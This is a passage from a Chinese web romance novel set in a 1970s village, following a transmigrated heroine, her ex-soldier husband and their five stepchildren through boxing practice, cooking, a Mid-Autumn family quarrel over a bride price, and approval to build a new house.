谢晚棠不想让傅青山在这方面有压力,便从女性自身健康角度出发解释道:“虽然小孩子很可爱,但是孕育一个小孩子的过程对女人身体的伤害还是很大的。” 傅青山听到“伤害”两个字皱眉:“什么伤害?” 谢晚棠回想她以前在网上看过的宝妈忧郁帖,给傅青山举例:“怀孕的时候有可能会长妊娠纹啊,很难看,而且以后都没法恢复了。” “怀孕期间非常容易缺钙,大概率会腰疼腿抽筋啊,而且大肚子行动也不方便,很辛苦。” 毕竟这个年代既喝不上牛奶,也补不上钙片,缺钙是一定的。她记得下边有孕妈形容过,怀孕的过程,女性的身体就像萝卜一样会慢慢变糠。 “生的时候就更疼了,听说骨缝要开到十指呢,而且还有难产的危险。” 这个年代都在村里生孩子,顺利还好,不顺利送医院剖腹产可能都来不及,而且也不知道剖腹产水平怎么样呢。 “而且生完喂奶的时候,听说小孩的嘴可有劲了,吸破是常有的事,咦,想想就疼。” 谢晚棠也没生过孩子,没亲身经历过,她也只能跟傅青山说她听说过的,但说着说着,她也真不太想生了,感觉生孩子对女性好像真的没什么好处。 如果傅青山没问题,这些问题她其实也都能克服,能和傅青山生一个小孩,她还是挺期待的,万一生个跟傅青山一样性格的小孩,小小年轻就老成老成的,会不会也很有趣呢? 但既然傅青山不能生育,虽说不能孕育一个新的小生命了,但是对她身体好,也未尝不是一件好事。 谢晚棠笑笑总结:“所以综上,我不太想生孩子。” 傅青山不懂生孩子的事,所以很认真地在听谢晚棠说,谢晚棠每说一条,他的脸就沉下去一分,如果一个可爱的小孩要以牺牲谢晚棠的身体为代价,那他就不喜欢也不想要了。 傅青山点头:“那就不要了,现在这样就很好。” 谢晚棠附议:“我也觉得!” 下午睡起来,难得一家人都在家,都不用去上班、上工、上学。 谢晚棠趁着白天光线好,抓紧先给玉秀和傅青林做结婚要穿的两套衣裳,兰兰和她一块在炕上做鞋,她裁衣裳的时候听着外边几个小的叽叽喳喳的,通过炕上的小窗能看到二刚小刚妞妞都围着傅青山呢。 一个月了,从集上抓回来的鸡鸭,还有从玉秀家抱回来的小黑都长大了不少,原来的小窝都有点挤吧了,傅青山用上次剩下的旧木头给小鸡小鸭小狗扩栏。 谢晚棠羡慕地叹了口气,兰兰闻声抬眸:“娘,你怎么了?” 谢晚棠又叹了口气:“哎,鸡鸭鹅狗都换新家了,我们什么时候能换新房子。” 兰兰:“爹不是说过完中秋房场就能下来吗?这也没多少日子了。” 谢晚棠点头:“是呀。” 这不是急不可耐嘛…… 丢脸的初恋人啊!怎么就那么猴急嘛! 一聊起房子,娘俩便有说不完的话。 谢晚棠憧憬道:“到时候咱们盖个套三的户型。” 兰兰歪头:“什么是套三啊?” 谢晚棠:“就是三个卧室,到时候你和妞妞单独住一间,让你弟弟他们三个住一间,这样分开住你和妞妞晚上上厕所、洗澡、换衣服也都方便。” 兰兰没想到谢晚棠替她们想得这么周到,天天跟一群男孩子住一个炕,肯定是很不方便。 兰兰高兴地点头:“太好了,谢谢娘!” 谢晚棠并不觉得这有什么好谢的,孩子们慢慢长大,亲姐弟亲兄妹之间也该避嫌的。 兰兰感觉后妈做到谢晚棠这个份上,真的没话说,她想起上午去镇上的路上,春月婶婶问娘要孩子的事,娘说暂时没打算。 其实她当时挺惊讶,就算家里有他们五个孩子,但毕竟都不是爹娘亲生,按理来说结了婚,他们俩要生自己的孩子,是很正常的事。 兰兰抿唇想了想:“娘,如果您和爹想要孩子就要吧,我们其实都挺想要个弟弟或者妹妹的,我和大刚都能挣工分养家了,二刚过几年也大了,家里再养个小孩也不愁。” 谢晚棠:“……” 最近她是中了什么被催生的魔咒了吗?一群中年妇女跟她催生也就罢了,居然大闺女也加入催生队伍了?! 而且这不是养不养的起的事啊,她也不能跟孩子解释说是因为你爹不行吧…… 谢晚棠轻咳一声,把中午跟傅青山说那一套生孩子伤害论跟兰兰又讲了遍:“所以暂时不打算要孩子了,有你们我感觉就很好啊!而且我还要好好搞事业呢!” 兰兰惊讶:“搞,搞事业?” 谢晚棠点头:“对啊,毛主席都说了,妇女能顶半边天,女人一定要有自己的事业,这才是一辈子的底气,不要把自己的未来托付给任何人。” 兰兰微微皱眉,有些不解:“您是不相信爹吗?” 谢晚棠想了想:“也不是不相信,但相信别人永远不如相信自己来得可靠。爱情当然美好,但是女人永远不要因为爱情放弃对事业的努力,要让爱情成为你的锦上添花,而不是雪中送炭。” 虽然现在这个特殊计划经济年代,国家对各个方面管控很严,她暂时没有什么机会发展自己的事业。 但是再过几年,改革开放的春风一来,社会生产力大解放,人民生活水平显著提升,对衣食住行的需求都大大提高,“衣”可是排在首位,她要抓住春风,创建自己的服装品牌,引领民族时尚前沿! 兰兰听得惊讶,嘴巴微张,原来女人还可以这样活,可以不依靠男人,可以去追求自己的事业。 谢晚棠说的她其实似懂非懂,也不知道事业具体是什么,但谢晚棠说这些话的时候,那种自信的样子,整个人都在发光,强烈地吸引着她。 从艳阳高照做到太阳西斜,落日挥洒出一副巨大的橘色油画。 谢晚棠把做好的布拉吉和衬衣长裤挂起来,伸了个懒腰,抻抻酸痛的肩膀颈椎,叫兰兰一块出来歇歇。 大刚如照顾自己的孩子一般精心打理着他的小菜园,谢晚棠走过去看,菜长到有她的手指那么长,已经是她可以认识的模样了。 谢晚棠微微弯腰,双手撑着膝盖,好奇地问大刚:“这些菠菜苔菜还要多久才能长大啊?” 大刚骄傲地介绍:“再过一个周就可以先从密的地方拔些来吃了,不然长不开,全长起来大概要半个月吧。” 谢晚棠一听,给大刚竖起大拇指:“胜利在望了!” 大刚难得脸上有笑意,笑着点头,为他的小菜园即将有收获而开心。 傅青山的狗窝也快完工了,谢晚棠看他蹲在那里神情专注,忍不住过去从背后用手指勾他的耳朵玩逗他,看着傅青山的耳朵慢慢变红,谢晚棠忍不住低笑,直到傅青山转身抬头,无奈又哀求地看她,她才笑着松开手。 妞妞、立春和小刚从外边跑回来,拔了很多狗尾巴草和黄色白色的小雏菊。 谢晚棠想起小时候那会儿最流行的编小兔子,便从妞妞手里拿了四根,两根并在一起当兔耳朵,另一根顺着兔耳朵的地方往下缠小兔的身子,缠完系个扣绑住,一个晃着长耳朵的狗尾巴草小兔子就有了~ 妞妞惊喜地接过来:“哇,好可爱!” 于是谢晚棠就和两个小姑娘拿了板凳坐在大门口编小兔子,小刚负责去拔狗尾巴草,胡同里的拔没了,又跑去小路旁拔了一堆回来。 编完一堆可爱的小兔子,谢晚棠找了两个结婚时候喝酒剩下的小酒瓶,里边装上水,然后把小雏菊和小兔子一起插进去,给了立春一瓶,另一瓶拿屋里摆在桌上。 天然取材的插花让家里一下子充满了生机,小刚和妞妞开心得不得了。 谢晚棠耸耸肩:“不过小花时间长了也会蔫哦,等以后盖新家的时候院子大一点,让爹在院里给我们开一片小花园。” 小刚惊讶:“家里还可以开花园?” 他只见过菜园。 谢晚棠:“当然,到时候大家喜欢什么花,我们就移栽到院子里来。” 两个小的高兴极了,齐声说好。 晚饭前,傅大嫂把大包子蒸好了送过来,两大盆,一盆肉的一盆素的,加起来估计得有五六十个。 这要搁以前,谢晚棠看到这么两盆大包子得愁死,可现在家里有七口人,而且傅青山和大刚的饭量一个顶俩,二刚也越来越像大刚看齐,这两盆大包子差不多两顿就能干出来。 谢晚棠拿了个盆给傅大嫂拾上5个肉包5个素包,肉和白面可都是稀罕东西,傅大嫂还不起,哪里好意思要。 谢晚棠直接把盆塞她怀里:“大嫂你就收下吧,你又是发面,又是剁馅,还得包还得烧火蒸,你不要,以后我都不好意思麻烦你了。” 傅大嫂还是感觉过意不去:“其实也没多麻烦。” 谢晚棠笑道:“你就当是手工费吧大嫂!” 傅大嫂看谢晚棠是真心要给,不是表面工夫,也就厚着脸皮收下了,虽然还不起这么好的,以后中午头傅青山不在家的时候,谢晚棠不大会做饭,她做了什么好的,也给谢晚棠送过来点。 傅大嫂端着白面包子的回来的时候,老三媳妇正好出来倒水,看到傅大嫂从东屋那边端着白面包子回来自然羡慕,但因为她没有,就阴阳怪气哼了声:“真能舔么人啊!” 要搁以前,傅大嫂肯定要难受,还得去上赶着解释,但不知道是不是和谢晚棠相处多了,她也有点被谢晚棠感染了,知道自己并没有歪心思去舔么占小便宜,心里就不在意老三媳妇怎么说了,她自己坦荡荡就行。 傅大嫂走后,孩子一个个都馋得不行了,谢晚棠也没那么多规矩讲究,先一人分了一个肉包子吃着,她和傅青山分工,她做蒜泥拍黄瓜,傅青山烧了个紫菜蛋花汤。 包子就着凉菜和汤,简直再爽口不过! 不出谢晚棠所料,晚上直接干掉一盆多包子,剩下的少半盆留着明早当早饭,再配个小米粥就行。 吃过晚饭,傅青山刷碗,孩子们帮着他往屋里搬,很快就收拾得板板正正。 孩子们在院里跟小黑玩,感觉到傅青山的视线,谢晚棠偏头和他对视一眼,秒懂他的意思,都是情窦初开,她的欲。望并不比傅青山弱,对傅青山那雕塑一般完美的身体也充满了渴望。 虽然自留地现在也不安全了,但暂时也别无选择,而且得想想,去地里摘点什么当借口呢? 傅青山:“棠棠,今晚开始打军体拳吧。” 谢晚棠……???? 谢晚棠:“……” 第52章 下意识跟着傅青山的力度收紧腰肢。 所以刚才傅青山用那样深情的眼神看着她,心里想的竟然是带她打军体拳吗??? T-T 大佬终究是大佬,只有她的芯是黄的。 月经刚走那会儿拿身体还没完全休息好当借口逃避军体拳训练,她都快忘了这茬了…… 不想运动的谢晚棠试图撒娇逃过,小嘴一嘟,抱着傅青山的胳膊晃了晃:“二哥~我不想打拳~” 之前在炕上的时候,她就对傅青山撒娇过,傅青山受不了她的撒娇,被她引导着,什么“宝贝我爱你”,“你是我的小甜心”,都对她说了。 然而不知道撒娇大法是不是只有在炕上才有用,傅青山微微皱眉,神色复杂地看着她:“可是大夫说你需要运动,对你的身体好。” 虽然语气温和,但并没有因为她的撒娇耍赖而妥协。 二刚和小刚对军体拳感兴趣,主动道:“娘,我们陪您一起练,这样您就不孤单了!” 谢晚棠:“……” 她不想练不是因为孤单啊…… 二刚和小刚说完,大刚也表示可以一起练,兰兰和妞妞为了支持她,也主动申请加入了练习。 谢晚棠:“……” 得,孩子们这直接给她架上去了,她可以对傅青山撒娇,却不好意思跟孩子们耍赖,好歹她也是个大人,要脸的呀! 谢晚棠苦着脸笑笑:“那就练吧……” 好好提升一下她革命的本钱吧=_= 见她同意,傅青山满意点头,迟疑片刻后道:“棠棠真乖。” 似是不自在,说完耳朵尖都肉眼可见地红了。 谢晚棠……?! 她不过是同意打个军体拳,居然就能换来傅青山这样主动甜甜地哄她! 那充满磁性的低音炮混响说“棠棠真乖”的时候,谢晚棠感觉她的耳朵真的要怀孕了! 下一秒,被哄舒服了的谢晚棠撸起袖子一叉腰:“干!” 几个小的也跟着她学,就连妞妞都特有气势,小表情奶凶奶凶地:“干!” 傅青山点头,先给大家展示了一遍完整的军体拳。 “准备格斗。” 准备姿势一亮,傅青山整个人气场都变了,脊背挺直站如松,从沉稳老干部一秒变身军旅硬汉。 “弓步冲拳。” 傅青山一边说一边做,他筋骨有力下盘稳,冲拳的时候身子一点都不晃,每一个动作都交代得明明白白。 每个女孩都有军旅梦,谢晚棠也不例外,欣赏着国家给自己培养的优秀男人,真是越看越帅! 傅青山将完整的军体拳做完一遍,然后从头开始教他们分解动作:“今天先学前三个,准备格斗、弓步冲拳和穿喉弹踢。” 讲完分解准备格斗的动作要领,傅青山挨个给他们纠正动作。 谢晚棠站在第一个,傅青山伸手在她腰上一握,谢晚棠“啊”的一声惊叫出声,身旁和后边一排的孩子们全部看过来。 傅青山手没拿走,不解地看着她。 谢晚棠抿唇,凑近一点压低声音道:“当着孩子们的面,你也敢动手动脚?!” 她没想到傅青山这么大胆! 傅青山皱眉,奇怪地看着她,半晌才明白过来她的意思,手还握着她的腰,以她为例给孩子们讲:“大家要注意,腰是核心,要收紧用力,不要松松垮垮。” 谢晚棠:“……” “哦。” 这不能全怪她啊,她光看傅青山的长胳膊长腿去了,哪知道打拳还得用腰啊! 主要是傅青山握她腰的那个手感,跟在炕上的时候太像了! 傅青山说“收紧用力”的时候,手也配合着捏了捏她的腰,她有点怕痒,便下意识跟着傅青山的力度收紧腰肢。 傅青山纠正完她的腰,又纠正她胯部的角度,一双火热的大手就算隔着裤子也能感觉到温度和力量,她脑海里甚至不自觉浮现出傅青山吻到动情处大手用力抓她屁股的火辣画面。 最后傅青山又扶着她的胳膊给她微调姿势,夏天的衣裳袖子肥大,抬手的时候袖子自然垂落到手肘处,免不得要肌肤相贴。 谢晚棠突然觉得练军体拳似乎也不错呢,可以在孩子们面前光明正大地摸这摸那,还不会有罪恶感,因为这可是在锻炼!是很正能量的哦! 嘿嘿~ 就是摸着摸着,谢晚棠被撩拨起火来。 能光明正大地摸,但不能光明正大地亲亲抱抱,这就愁人→_→ 一直挨到练完,洗漱上炕睡觉,听到大刚二刚的呼噜声,谢晚棠终于忍不住,就着两人面对面侧躺的姿势,她一点一点往前蹭,在黑夜的掩护下,下巴微抬,轻轻吻上傅青山的薄唇。 傅青山的唇很软,也很好亲,睡着的傅青山一副人人蹂躏的乖模样,任由她轻松就撬开牙关,尽情掠夺。 她不敢动作太大,怕吵醒孩子们,如小狗般试探性地开发着每一个新奇的角落。 轻飘飘的撩拨好似羽毛若有若无地来回蹭着,蹭得人格外心痒难耐,傅青山再也装睡不下去,伸手一把揽住谢晚棠的腰往怀里收紧,在谢晚棠惊呼出声前,堵住了她的唇。 他抬手抵住她的后脑勺,将她整个人贴近自己,炙热的唇、滚烫的身体,紧紧将她包裹起来,肆意地占有。 谢晚棠惊得忘记了闭眼,早已适应了黑暗的瞳孔将男人的热烈尽收眼底。 傅青山灼热的呼吸打在她娇嫩的皮肤上,她回过神来,被那份热情感染,极尽温柔缱绻地回吻,仿佛只有他们两个人的小世界, 窗外月光温柔,繁星点点,为他们一同见证。 休息一天,紧接着开始收花生,男人拿着锄头往外刨,女人和孩子跟在后边往下撕。 下午下工的时候,谢晚棠去找大队长林大力,“队长,我能提前先领一点大豆回去吗?到时候大队按工分统一分的时候,给我扣掉提前领的部分就行。” 林大力挠头:“可以是可以,可大豆还没长成呢!你弄回去干啥?” 谢晚棠当然知道没成,她要的就是没成的。 庄稼地里收大豆是等大豆都干了黄了才会收,吃得时候直接泡了水磨小豆腐就行,但她要做五香卤毛豆,就得趁大豆还没长老,嫩绿嫩绿的时候摘了才行。 谢晚棠笑笑:“林队长,我就要这种没长成的,所以才提前跟您说。” 林大力倒是没意见,不过提醒了一句:“现在大豆还湿,可压份量,到时候没法给你补啊。” 谢晚棠也不在意那点水分压秤,摆摆手表示没问题,摘了三斤鲜毛豆秤了,在大队部的册子上登记了带回去。 谢晚棠回家把二刚和小刚叫过来:“喏,一人一把剪刀,交给你们俩一个重大任务,把两头剪掉,都露出口来,好入味。” 三斤毛豆不少,这确实是个大工程,但两个小的精力旺盛,一点不愁,高兴地领了任务。 二刚好奇地舔舔嘴:“娘,这又是要做什么好吃的?” 娘总是有很多新花样,就没有不好吃的! 谢晚棠笑道:“五香卤毛豆!” 二刚眨眨眼:“什么是毛豆?” 谢晚棠指指他正在剪的:“你手上的就是,老了叫黄豆,年轻的时候就叫毛豆。” 小刚好奇:“啊?为什么这么叫啊娘?” 谢晚棠想了想:“嗯,咱们中华文化博大精深嘛,管年轻人也叫毛头小子,老了就说人老珠黄,大豆也一样,年轻的时候叫毛豆,老了就是黄豆。” 家里正在上学的文化人二刚惊讶得不行:“原来大豆的名还这么有学问!” 小刚竖起大拇指给于肯定:“娘知道这么多,娘比大豆还有学问!” 谢晚棠:“……” 傅青山在当门炒菜,听着谢晚棠在外边跟两个小儿子聊天,越来越发现她真的是个很有趣的人。 剪三斤毛豆不是小工程,吃过晚饭,两个小的才完成任务。 傅青山在外边洗碗,谢晚棠在当门研究卤汁。 锅里加了水,放上切好的大葱、姜片,还有之前在供销社买的桂皮、香叶、花椒,再倒上几勺盐提提咸味,然后烧火,先把大料煮开,把味道都煮下来,然后才叫二刚把洗好剪好口的毛豆端进来倒进大锅里继续煮。 原本闻着有些刺鼻的花椒大料煮完后透出一股特别的香味,几个孩子都被吸引过来。 谢晚棠看大家都馋得不行,就先捞出来一小碗让大家分着尝尝鲜解解馋:“剩下的明天吃,泡一晚更入味。” 孩子们一人拿了俩扒了吃了,虽然现在味道还没有浸得很深,但表皮已经尝到好吃的汤汁味了,纷纷竖大拇指。 傅青山刷完碗又在洗衣服,腾不出手来,谢晚棠扒了两个出去喂给他,傅青山张嘴接的时候,舌尖舔过她的指尖,傅青山的舌尖好软,带起一阵酥酥麻麻的颤栗,她都有点怀疑傅青山是不是故意舔的??? 翌日一早,谢晚棠下炕拿了个毛豆尝了尝,五香卤汁彻底浸润到毛豆里,完美! 之前跟玉秀说过要让她尝尝五香毛豆有多上头的,盛了一碗让小刚和妞妞给玉秀送过去。 家里人口多就是下饭,三斤五香卤毛豆,一早晨就干出来了。 看孩子们吃得香,谢晚棠也高兴,毛豆富含植物蛋白,也算丰富了营养来源了! 吃过早饭去上工的时候碰到玉秀,玉秀果然上头了,而且不光她上头,她爹娘也上头了! 玉秀求着谢晚棠给她卤一锅,谢晚棠抿唇笑:“还记得你在供销社门口闻着大料嫌弃得捏鼻子的样子吗?” 玉秀叹气:“那时候的我是山猪吃不了细糠!” 谢晚棠笑得不行:“行行行,给你这个小猪卤一锅!” 谢晚棠把毛豆剪口的要求告诉玉秀,让她吃完晚饭带着剪好的毛豆过来,给她卤上,玉秀连连点头,感激万分。 中秋节很快到了,谢晚棠嫁过来以后* 第一次回门。 傅青山前一天下班特地去供销社买了4包月饼,10斤白面,还去黑市买了个猪肘子,谢晚棠给薛桂花做了一身秋天的新衣裳。 中秋节当天吃过早饭,谢晚棠和傅青山带着东西和五个孩子回娘家。 说是回娘家,其实平时上工的时候她经常能见着谢老爹和谢建国,只不过因为之前的不愉快,双方都不怎么愿意搭理对方罢了。 谢晚棠还没拐进胡同,就听着胡同里传来谢建国和一个年轻女人的声音。 谢建国语气里充满了哀求,一点没有在家对着薛桂花时的趾高气扬,窝窝囊囊道:“翠芬,三转一响俺家是真买不起,你回去跟你爹再好好说说行不行?求求你了!” 叫翠芬的女人哼了一声:“求我还不如去找你妹妹妹夫,凭什么她结婚有三转一响,你个当哥的就没有?她光顾着自己过好日子不管你们,算什么东西!” 第53章 盖房子。??? 自己找的男人没本事,还厚颜无耻地觊觎傅青山的钱? 谢晚棠被刘翠芬的不要脸彻底折服了,真是不是一家人不进一家门,怪不得能和谢建国走到一起呢。 原书里,谢老爹把她卖给了邻村的王傻子,给谢建国换了三转一响娶了刘翠芬,这个刘翠芬一肚子坏水,结了婚把谢建国拿捏得死死的,谢建国在外边是个窝囊废,在家里窝里斗的本事却不小。 薛桂花性子软能忍,不仅像老妈子一样伺候刘翠芬吃饭洗衣,还动辄就要被刘翠芬骂,再能忍的人天天憋着也得憋出病来,薛桂花不过50出头就撒手人寰了。 谢建国叹气:“她连我爹都能批斗,哪里能把我这个哥哥放在眼里,翠芬,100块钱彩礼也不少了,你就回去让你爹通融通融吧!” 刘翠芬哼了声:“100块钱就想打发我?我可是听说了,傅青山给了你妹妹三转一响外加200块钱彩礼呢!她要是不给我准备三转一响,休想让我嫁进你们老谢家的门!” 刘翠芬话落,谢晚棠冷哼一声,转身进了胡同:“确实不会给你准备,你还是另寻高门吧。” 搞笑,以为自己是公主呢,还求着她? 高颧骨小眼睛,一脸的尖酸刻薄样,也就谢建国这种找不着媳妇的垃圾男人上赶着她,把她捧得找不着北了。 刘翠芬闻声一惊,回头就看到谢晚棠站在她身后似笑不笑地看着她,身后还跟着高大冷硬的傅青山和傅青山的五个孩子。 刘翠芬皱眉:“你,你偷听我们说话!” 谢晚棠嗤笑:“这胡同是你家的?敢站在胡同里说话还怕别人听?” 刘翠芬被怼得说不上话来,而且有傅青山这尊黑脸在,她也不敢跟谢晚棠当面对着干,抬手推谢建国,使眼色让谢建国给她出头。 奈何谢建国比她更唯唯诺诺,谢晚棠和傅青山,他哪个都不敢惹。 谢晚棠懒得搭理两个人之间的小动作:“谢建国就能拿出来100块钱的彩礼,你觉得行就嫁,不行就趁早拉倒,也别耽误了你嫁入豪门。” 刘翠芬不服气:“嫁出去的闺女泼出去的水,谢建国娶媳妇还由得你来指手画脚!” 谢晚棠耸耸肩:“嗯,你说得很有道理,那你怎么还舔着个大脸惦记我这个嫁出去的闺女的钱?” 刘翠芬被说得涨红了脸,但她刚刚确实是惦记谢晚棠的钱还被谢晚棠和傅青山听见了,现在再憋屈也没法反驳。 谢晚棠笑得轻蔑:“傅青山愿意给我三转一响200块,那是他靠自己本事挣的,坦坦荡荡,不像你们,一对贪得无厌的吸血狗男女。” 虽然薛桂花是原身的娘,但她刚穿书过来那段时间,薛桂花对她无微不至的照顾,她一直感激在心。 面对这个害死薛桂花的罪魁祸首,谢晚棠厌恶至极,看刘翠芬被她骂得眼睛都红了瞪着她,谢晚棠哼了声,直接越过她往里走,最少是别嫁过来,别来祸害薛桂花。 谢晚棠进门的时候,薛桂花正在天井洗衣裳,一看到她和傅青山,高兴得忙擦手过来招呼。 傅青山叫了一声娘,把带的东西递过去。 薛桂花有些不好意思地接过来:“姑爷怎么带这么多东西,这得多少钱啊!” 谢晚棠笑着挽着薛桂花的胳膊,扬起唇角看向傅青山:“姑爷是半个儿,孝敬您是应该的。” 傅青山闻声也跟着点头。 薛桂花看两人的状态,就知道结婚这月余,小两口感情应该还不错,放心了不少,做娘的就盼着自己的闺女过得好。 薛桂花看傅青山身后大大小小一字排开的五个孩子:“这几个孩子真精神,都叫什么啊?” 秉承着大人说话的时候小孩不插嘴的礼貌,一直到薛桂花问,兰兰才带头自我介绍:“姥娘好,我叫兰兰。” “我叫大刚。” “姥娘,我叫二刚!这是小刚和妞妞。” “姥娘好!” “姥娘好!!” 几个孩子干净利索又有礼貌讨人喜欢,薛桂花高兴得招呼大家进来,谢老太从炕上下来,对孩子们的打招呼敷衍地嗯了声,眼睛直勾勾盯着傅青山带过来的四包月饼和一小袋白面,对薛桂花道:“给我收着吧,放外边别让耗子吃了。” 谢晚棠哼笑,拿了两包给谢老太:“这两包是给您的,剩下的是给我娘的,娘,您也得收好了,小心家里的老耗子。” 薛桂花听出来谢晚棠话里有话,抿着唇没说话,谢老太哼一声拿着两包月饼上了炕。 谢晚棠拉着薛桂花去了小西间,让薛桂花把月饼收好,薛桂花却要打开分给孩子们吃,孩子纷纷摆手,说在家里吃过了。 谢晚棠摁住薛桂花的手:“娘,说了是给你的,你别不舍得吃,都给了别人,听着没?” 薛桂花犹豫了下,哎了声。 谢晚棠把给薛桂花做的秋天衣裳拿出来让薛桂花试,薛桂花穿着闺女做的新衣裳,眼眶不禁湿润,嫁进老谢家20多年,除了结婚,就没穿过新衣裳,到现在仅有的两件新衣裳,都是闺女给她买的。 中秋节村里杀了一头猪分了,谢家分了两斤猪肉,薛桂花高兴,看谢晚棠家里孩子多,炖了一大盆白菜猪肉粉条,又把这几天攒的鸡蛋炒了个韭菜,糊的二合面饼子。 谢老爹到了午饭的点才打牌回来,看到谢晚棠早就愈合的腚还是一哆嗦,唯唯诺诺地朝傅青山点了点头,赶紧上炕坐下了。 几个孩子帮着薛桂花往炕上端饭,薛桂花喜欢得不行,直夸他们懂事。 谢老太一看薛桂花炖的白菜猪肉里肉那么多,又扫了一眼谢晚棠带来那么多张嘴,气得哼了声:“吃完这顿不用过了!” 薛桂花难得硬气一回:“姑爷好不容易来一回,不过就不过了。” 话落,谢老太刚要开口,谢建国耷拉着脑袋进来,一屁股坐在炕上,一脸的丧眉搭眼。 谢老太最疼大孙子,赶紧问怎么回事,谢建国皱眉看了一眼谢晚棠和傅青山,也不敢当面埋怨他俩得罪了翠芬,只道:“翠芬说,没有三转一响,她就不嫁了,我怎么求都不行。” 其实翠芬还说,必须让谢晚棠当面给她道歉才可以,但他根本不敢提。 谢晚棠懒得搭理谢建国这个尿唧唧的样子,给孩子们安排地方挤吧着坐下,她和傅青山就挨着炕沿,刚坐下,就听谢老太道:“建国是咱们老谢家唯一的根,不能断!姑爷,你能挣,有本事,既然娶了晚棠,大舅子的婚事你就不能不管,三转一响你——” 谢晚棠直接打断谢老太的幻想:“他是能挣,但不是冤大头,他是娶了我,不是娶了咱家。” 谢老太哼了声:“他娶了你,咱家的事他就得管!” 谢晚棠撇撇嘴:“这样啊,那要是您老哪天还想第二春,他还得负责给您准备嫁妆呗?” 谢老太:“……” 谢老太敲敲桌子:“我跟姑爷说话呢,轮得着你个小妮子插嘴?!” 傅青山平时话不多,从跟着她进门,除了打招呼,基本没说话。 谢老太话落,傅青山直接道:“我们家的事,都是棠棠说了算。” 几个孩子很机灵,看娘的这个奶奶欺负娘,也都跟着爹道:“对,我们家都是娘说了算,爹都听娘的。” 谢老太:“……” 谢晚棠也不委婉,直接道:“有多大本事就办多大事,娶不着媳妇就打光棍,咱们老谢家的根本来就不正,老天爷要是都想给断了,那就别逆天而行。” 谢老太、谢老爹、谢建国:“……” 谢晚棠的决绝打破了谢家祖孙三辈的幻想,一顿饭吃得死气沉沉。 谢晚棠帮着薛桂花把桌子收拾下来,傅青山在外边刷碗,娘俩在西屋说话。 薛桂花不放心地老往外看,着急道:“怎么能让姑爷刷碗!” 谢晚棠透过窗棂看了一眼顾青山挺括的脊背:“没事,他会。” 薛桂花无奈:“这不是会不会的事啊……” 男人怎么能刷碗啊! 谢晚棠习惯了,因为结了婚就是傅青山刷碗,而且前世她爸也帮着妈妈刷碗打扫卫生的,她并不觉得这有什么,随口道:“您就放心吧,家里一直都是他刷,他刷碗可快了。” 薛桂花:“……” 虽然薛桂花不理解,但是也知道小两口的事老人不该插手,既然傅青山都没意见,她好像也没必要多嘴,毕竟这样闺女也能轻松不少。 娘俩又说了会话,傅青山刷完了碗,谢晚棠带着傅青山和五个孩子走了。 薛桂花看着当门里傅青山刷的干干净净摞在一起的碗,再一想自己的男人和儿子,摇摇头叹了口气。 还好,闺女的命比她好。 晚饭是去正屋那边吃的,虽然分了家,中秋是团圆的日子,大家还是要聚在一起过节。 傅老太今天难得不用自己做饭,又享受起被儿媳妇伺候的日子。 傅大嫂和老三媳妇在当门里做饭,谢晚棠也过去帮忙,却被傅青山拉着手推到炕间:“你中午回来的晚,没捞着好好休息,去炕上等着,我来就行。” 说着,傅青山一撸袖子,跟嫂子和弟妹一起下厨房。 傅大嫂和老三媳妇都懵了,傅大嫂先回过神来:“青山,这不用你,你上炕去坐着吧。” 傅青山摆摆手:“没事,两个锅做饭快。” 有傅青山的加入,做饭确实快,傅大嫂和老三媳妇高兴,但炕上的傅大哥和傅老三就有点坐不住了。 傅大哥下炕,站在当门轻咳一声:“老二,男人怎么能做饭?快上炕来坐着,让你嫂子和弟妹做就行。” 因为打仗分家的事,傅大哥现在晚上吃完饭趁大家睡了都会偷偷帮着傅大嫂洗碗,但他觉得男人洗碗已经是底线了,做饭怎么能行?!何况还是这么众目睽睽之下! 傅青山抬眸看他一眼:“谁规定男人不能做饭了?” 傅大哥……?? 这还用规定?谁家男人都不做饭! 油炸开了,傅青山垂眸熟练地把葱花扔进去,锅里的油噼里啪啦地响起来:“没有什么事是必须女人做的,部队里炊事班都是男人,一样做饭。” 说完,傅青山不再理会傅大哥,弯腰先下肉翻炒,然后下菜。 傅大哥站在当门一时进也不是,退也不是,被傅大嫂瞪了一眼,嫌弃地怼了句“不干活就别在这碍事”,才摸摸鼻子,讪讪地回到炕上。 当晚睡觉的时候,谢晚棠躺在傅青山怀里,就听着老三媳妇骂老三的声音,听不大具体,反正大概听到几句“你二哥又能挣钱又疼老婆,就连你大哥都晚上抹黑偷偷帮着大嫂洗碗,你个窝囊懒狗什么的……” 谢晚棠懒洋洋地往傅青山怀里蹭了蹭,抬手摸着他的心跳,安心地进入梦乡。 中秋节过后,秋收继续如火如荼地进行,收完花生接着收大豆和芋头,芋头收完,秋收终于暂告一段落,只等着下个月再收收地瓜,就开始准备今年过冬了。 秋收这一个月,村里的男女老少都累坏了,秋收结束,大队给大家放了一个周的假,后边也不会再这么忙。 难得空闲下来,谢晚棠终于有空在家里安心做入秋要穿的衣裳鞋。 这天,傅青山比平常早下班回来半个多小时,还带回来两斤猪肉交给兰兰,说晚上包白菜大葱猪肉的饺子吃。 秋收忙,饺子麻烦,家里好久没吃了,孩子们高兴得不行,都主动要帮着一起包饺子。 谢晚棠从当门出来:“二哥,怎么今天突然想吃饺子了?” 傅青山抬眸看她:“庆祝一下。” 谢晚棠不解:“庆祝什么?” 庆祝秋收顺利吗? 傅青山:“房场审批下来了,战友们也给我回信了,钱这两天就汇过来,咱家可以盖房子了。” 孩子们愣了下,接着在天井里高兴地跑着欢呼:“要盖大房子咯!!!” 忙秋收忙的脚不沾地,晚上经常回来累得倒头就睡,也好久没和傅青山亲近了,都快忘了房子的事了,这么大的惊喜从天而降,她的兴奋一点不比孩子们少! 夕阳西下,傅青山被暖黄的光影笼罩着,唇角扬起笑意,强大的男人也可以很温暖。 顾不得孩子们都看着,谢晚棠开心地跑过去,一把搂住他的脖子,傅青山似心有灵犀般稍微用力一托,她腿轻松地骑着傅青山劲瘦有力的腰,扬起下巴,吧唧一声,在傅青山唇上印上一吻。 第54章 我们还得用避孕套? “哇偶~” 听着身后传来妞妞的惊呼声,谢晚棠刚才的勇气一下子烟消云散,抵不住害羞,搂着傅青山的脖子,下意识把脸埋在她颈间。 傅青山被亲得一愣,谢晚棠亲完又贴在他右侧脖颈处,娇嫩的右脸颊热乎乎地蹭着他,温热的呼吸也喷在那处,惹得他那片皮肤处血液都躁动起来。 大刚脸红着偏过头去,兰兰笑着揽着妞妞,二刚和小刚捂着眼睛,一边从指缝里往外看,一边嘿嘿笑。 